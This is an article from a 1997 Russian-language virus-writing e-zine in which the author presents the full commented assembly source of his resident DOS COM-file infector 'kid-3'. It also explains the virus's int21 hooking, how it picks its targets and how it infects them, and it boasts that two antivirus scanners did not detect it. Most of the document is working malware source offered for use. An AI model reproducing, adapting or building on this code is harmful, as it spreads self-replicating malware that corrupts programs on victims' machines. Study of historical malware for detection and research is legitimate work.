[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 3, Sep 1997 file 006
МОЙ ПЕРВЫЙ ВИРУС
by FRiZER
Представляю вашему вниманию мой вирус. Никаких новых идей в нем нет, в то
же время не содран с каких-либо вирусов других авторов - как сам представлял
это, так и писАл.
Откомментированный исходник прилагается, но все же позволю себе краткое
описание алгоритма.
- Инсталяция в память
Переписываемся по адресу 0:200 (в область таблицы векторов прерываний)
- Восстановление программы в памяти
Из памяти по адресу FL+100h (размер незараженного файла) переписываем
бывшее начало размером с вирус на его законное место (:0100)
- Installation check
Проверяем слово по адресу 0:300 - если там нули - значит либо мы уже в
памяти (см.ниже) либо вектор int21 показывал на 0000:0000 :)))
- Перехват int21
Вектор int21 переписываем в 0:300 (0000:02FF JMP FAR xxxx:xxxx) Ну а свой
в 0:84
- Выбор жертвы
При создании файла (AH=3C,6C или 5B int21) ищем в ds:dx(для 3C&5B) или
ds:si(для 6C) строку '.com',0 Если находим, то разрешаем создать файл и
запоминаем handle
// вначале было только AH=3C но при копировании файлы не заражались
// потом увидел, что использовалась AH=6C (Extended Create/Open)
//потом оказалось, что в NC и VC используется AH=5B
- Заражение
При закрытии файла (AH=3E int21) мы сравниваем закрываемый handle с
запомненным, и если совпадает заражаем файл:
- lseek на начало
- считали кусок файла
- проверка на уже зараженность (сравнение первых 2-х байт файла
с первыми 2-мя байтами вируса) и MZ (не exe ли это файл?)
- lseek на конец
- записали кусок файла
- lseek на начало
- записали вирус
Отдаем управление дальше - т.е. файл закрывается как ни в чем ни бывало ;)
Bирус никак не проявляет себя, содержит строчку [kid-3]
PS: если найдете глюки - сообщайте, хотя дальше делать что-либо с этим
вирусом я не собираюсь.
PSS: все ощыбки приминайте на очепятки ;)
=== Cut ===
┌─[BeginVirDsc]──────────────────────────────────────────────────────────────┐
■ Name : kid-3 │
■ Maker : FRiZER │
■ Made at : 30-09-97 │
■ Size : 100h(256) │
■ Targets : COM │
■ Infecting when : '3C' & '6C' & '5B' if was '3E' (ds:(dx|si)='... .com',0) │
■ Antivirus test : │
│ Infected files : │
│ - AVP v3.0 114 : not found │
│ - Dr.Web v3.24 : not found │
│ Memory : │
│ - AVP v3.0 114 : предупреждение по адресу 0000:023B │
│ - Dr.Web v3.24 : В памяти компьютера (0000:023B) возможно нахождение │
│ РЕЗИДЕНТНОГО ВИРУСА! │
■ Test under '95 : passed │
■ Effects : none │
■ Possible Bugs : Something may use 80h>int>0C3h │
│ Needs this registers at start: si=0100, cx=00FF, ax=0000. │
■ All comments and remarks are welcome! │
■ How to find me : FIDO 2:5040/57.27, e-mail: [email protected] │
└─[EndVirDsc]────────────────────────────────────────────────────────────────┘
.model tiny
.code
.386p
VL equ virend-start
org 100h
Start:
push cs ;────────────────────┐
push si ;>[0100]>────────────┤
pusha ;>───────────────────┼────────────────────┐
push si ;>[0100]>──────────┐ │ │
inc cx ; │ │ │
push cx ;>[0100]>─────────┐│ │ │
push ax ;>[0000]>────────┐││ │ │
mov di,si ;di=100 │││ │ │
shl di,1 ;di=200 │││ │ │
push ax ;>[0000]>────┐ │││ │ │
pop es ;<───────────┘ │││ │ │
rep movsb ;задвигаем вирь в 0:200h │││ │ │
;si=200 di=300 │││ │ │
xchg di,bx ;>───────────────┼┼┼─┼────────────┐ │
push offset a10+100h ;>[offset a10]>──┤││ │ │ │
retf ;<───────────────┘││ │ │ │
a10: ; ││ │ │ │
push ss ; ││ │ │ │
pop es ; ││ │ │ │
pop cx ;<────────────────┘│ │ │ │
pop di ;<─────────────────┘ │ │ │
mov si,FLx ;берем из стартового сегмента │ │ │
add si,di ;si=si+100h │ │ │
rep movsb ;восстанавливаем файл в памяти │ │ │
cmp word ptr cs:[300h],0000h ; │ │ │
jnz exi ; │ │ │
;перехват int21 ; │ │ │
push cs cs ; │ │ │
pop ds es ; │ │ │
xchg di,bx ;di=300 ;<───────────────────┼────────────┘ │
mov si,84h ;int21 = 84h │ │
push si ;>[0084]>──────┐ │ │
movsw ;пишем вектор int21 │ │ │
movsw ;по адресу 0:300 │ │ │
pop di ;<─────────────┘ │ │
mov ax,offset new21+100h ; │ │
stosw ; │ │
xor ax,ax ; │ │
stosw ; │ │
exi: ; │ │
popa ;<───────────────────┼────────────────────┘
push ss ss ; │
pop ds es ; │
retf ;<───────────────────┘
new21:
push ax
and ah,10101111b
cmp ah,2Ch
pop ax
jz save_bx
cmp ah,5Bh
jnz a20 ;>─────────────────────┐
save_bx: │
;попадаем суда если ah= │
;5B - create new file │
;2C - get DOS time │
;3C - create file │
;6C - extended open/create (DOS 4+) │
;7C - nothing │
pusha ;>───────────────────┐ │
push es ;>──────────────────┐│ │
push ds ;>──┐ ││ │
pop es ;<──┘ ││ │
cmp ah,6Ch ; ││ │
jnz _3C ; ││ │
push si ; ││ │
jmp _xC ; ││ │
_3C: ; ││ │
push dx ; ││ │
_xC: ; ││ │
pop di ; ││ │
mov cx,sp ; ││ │
mov al,'.' ; ││ │
repnz scasb ;ищем в es:di байт в al│
;-------------------------------+ ││ │
xchg si,di ; ││ │
lodsw ; DS:SI -> AX ││ │
and ax,0DFDFh ; ││ │
cmp ax,4F43h ;'CO' ; ││ │
jnz DontSave ; ││ │
lodsw ; ││ │
and ax,0DFDFh ; ││ │
cmp ax,004Dh ;'M ' ; ││ │
jnz DontSave ; ^ - 00h ; ││ │
;-------------------------------+ ││ │
pop es ; ││ │
popa ; ││ │
call call21 ; ││ │
jc er1 ; ││ │
mov cs:handle+100h,al ; ││ │
er1: ; ││ │
iret ; ││ │
DontSave: ; ││ │
pop es ;<──────────────────┘│ │
popa ;<───────────────────┘ │
jmp rreal21 ; │
; │
a20: ;<─────────────────────┘
cmp ah,3Eh ;
jne rreal21 ;
pusha ;>──────────────┐
push ds ;>─────────────┐│
push cs ;>──┐ ││
pop ds ;<──┘ ││
cmp bl,handle+100h ; ││
jne already ;>─────────────┼┼───────┐
;пытаются закрыть файл, который создавали с именем .com │
mov al,0 ; ││ │
call lseek ; ││ │
mov ah,3Fh ; ││ │
mov dx,600h ; ││ │
mov cx,0100h ; ││ │
call call21 ; ││ │
xchg bx,dx ; ││ │
cmp word ptr [bx],560Eh ;уже заражен? ││ │
je already ;>─────────────┼┼───────┤
cmp word ptr [bx],5A4Dh ;а может exe? ││ │
je already ;>─────────────┼┼───────┤
xchg bx,dx ; ││ │
mov al,2 ; ││ │
call lseek ; ││ │
;*mov ax,VL+2 ; ││ │
db 0B8h ; ││ │
FLx dw VL+2 ;FLx - длина зараженного файла ││ │
cmp ax,VL+1 ;а может он короткий? │
jb already ;>─────────────┼┼───────┤
mov ah,40h ; ││ │
call call21 ; ││ │
mov ax,4000h ; ││ │
call lseek ; ││ │
mov dx,200h ; ││ │
call call21 ; ││ │
mov handle+100h,0FFh ; ││ │
already: ;<─────────────┼┼───────┘
pop ds ;<─────────────┘│
popa ;<──────────────┘
rreal21:
jmp real21
lseek proc near
pusha
mov ah,42h
xor cx,cx
xor dx,dx
call call21
mov FLx+100h,ax
popa
ret
lseek endp
;FL dw VL+2
db 0,'[kid-3]',0
p1end:
;db 100h-((p1end-start)+(real21-call21+1)) dup ('+')
;эта строчка писалась, пока вирус был еще маленьким
;и нужно было чтобы его длинна все время была 256 байт
call21:
pushf
;*call far cs:[300h]
db 2Eh,0ffh,1Eh,00,03
ret
real21:
;*jmp far 0000:0000
db 0EAh
virend:
;имитация зараженной программы
int 20h ;<────────────────────────────────────────────────┐
jmp $+100h ;начало проги - выполняет переход на int 20h ──┘
handle db ?
end Start
=== Cut ===